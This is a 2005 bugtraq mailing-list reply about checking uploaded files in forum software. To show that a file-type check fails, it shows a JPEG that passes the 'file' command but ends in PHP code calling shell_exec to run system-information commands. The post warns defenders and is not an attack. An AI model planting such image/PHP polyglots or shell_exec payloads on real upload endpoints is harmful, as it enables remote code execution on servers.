bugtraq - Re: phpBB 2.0.17 (and other BB systems as well) Cookie disclosure exploit.

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Date: Thu, 27 Oct 2005 15:23:12 +0200
From: Nicob <nicob@...ob.net>
To: Paul Laudanski <zx@...tlecops.com>
Cc: webappsec@...urityfocus.com, bugtraq@...urityfocus.com,
	full-disclosure@...ts.grok.org.uk
Subject: Re: phpBB 2.0.17 (and other BB systems as well)
	Cookie disclosure exploit.


Le mardi 25 octobre 2005 à 17:02 -0400, Paul Laudanski a écrit :
> 
> Anyone have other ideas on this?  I've already implemented some code
> to validate file input and its working.  But is this the right
> approach?

I'm not sure to understand what you're talking about but if you're
trying to positively validate that file XYZ is an image and not a PHP
file, you're asking for trouble :

$> wget http://nicob.net/mirrors/blowjob.jpg

$> file blowjob.jpg 
blowjob.jpg: JPEG image data, JFIF standard 1.0

$> tail -n 5 blowjob.jpg
<?php
$resu = shell_exec("echo '' && echo '' && uname -a && id && date");
echo nl2br($resu);
?>

$> php blowjob.jpg
[garbage] Linux dellyre 2.6.[...] jeu oct 27 15:21:31 CEST 2005 [...]


Nicob

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